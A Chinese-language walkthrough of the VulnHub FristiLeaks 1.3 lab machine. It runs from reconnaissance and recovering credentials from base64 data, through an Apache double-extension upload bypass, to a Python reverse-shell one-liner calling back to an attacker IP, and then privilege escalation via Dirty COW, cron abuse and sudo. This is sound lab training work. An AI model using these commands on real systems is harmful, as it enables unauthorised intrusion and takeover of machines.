vulnhub系列:Fristileaks 1.3
根据官网提示,将mac地址改为 08:00:27:A5:A6:76
IP地址在启动后已经给出
一、信息收集
nmap扫描端口,只开启了80端口,是apache2.2.15版本,且robots.txt中给出了三个目录:/cola /sisi /beer
nmap 192.168.23.170 -A
目录扫描,没什么新发现
dirb http://192.168.23.170
访问目标首页,没什么发现
访问robots.txt中的三个路径,返回的都是同一张图片,上面写着这不是url,可能需要找到一个url或路径
尝试之后,将首页的fristi拼接可以得到新页面
可以看到说是一个管理门户
在登录框测试弱口令、暴力破解等没有成功,也没有找到其他功能点
f12查看源码
一个提示:表示对图片进行了base64加密
一个留言(留言的名字可能作为用户名)
一串base64的加密字符
把这串加密字符复制下来,写入到1.txt中进行解密
base64 -d 1.txt
解密发现是一个图片,那么把内容写入到图片中,查看图片
base64 -d 1.txt > 1.png
这里的内容可能作为密码,用之前疑似用户名的留言者和这一串值进行登录,成功登录
eezeepz:keKkeKKeKKeKkEkkEk
有一个文件上传功能
二、getshell
上传php文件失败,burp拦截数据包,修改Content-Type尝试绕过,失败
考虑到之前扫描到使用了apache服务器,版本为2.2.15,可以尝试利用其解析漏洞
在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png
可以看到是存在漏洞的,文件成功上传到了/uploads目录下
访问该文件,文件正常解析
http://192.168.23.170/fristi/uploads/1.php.png
蚁剑进行连接
上传一个执行系统命令的文件
使用hackbar插件,提交post数据
cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
成功反弹shell
三、提权
1、脏牛提权
查看内核版本,可以尝试脏牛提权
uname -r
查找脏牛脚本
searchsploit 'Dirty COW'
用一个符合版本的脚本,将其导到当前路径
searchsploit -m 40839.c
本机开启一个临时的web服务
python3 -m http.server
wget下载脏牛脚本,并赋予权限
wget http://192.168.23.133:8000/40839.c
chmod 777 40839.c
编译并运行,密码自己设置一个,我这里设置123456
gcc -pthread 40839.c -o 40839 -lcrypt
./40839
切换到firefart用户,提权成功
su firefart
id
2、sudo提权
home目录查看用户,有三个用户,进入admin目录是没有权限
admin
eezeepz
fristigod
在eezeepz家目录下找到notes.txt
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次
执行如下命令
echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > /tmp/runthis
查看/tmp/cronresult
cat /tmp/cronresult
成功cd到admin用户
查看文件,发现两串base64值
whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
一个加密脚本
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
尝试逆转机密机制,将脚本保存到桌面下1.py
import base64,codecs,sys
def decodeString(str):
rot13string = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(rot13string)
print(decodeString(sys.argv[1]))
运行1.py脚本解密
python 1.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!
python 1.py mVGZ3O3omkJLmy2pcuTq
thisisalsopw123
登录fristigod,发现并不是root权限
fristigod
LetThereBeFristi!
history查看历史命令,发现执行命令时会使用sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
以root身份打开终端,在命令后加/bin/bash提权成功
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash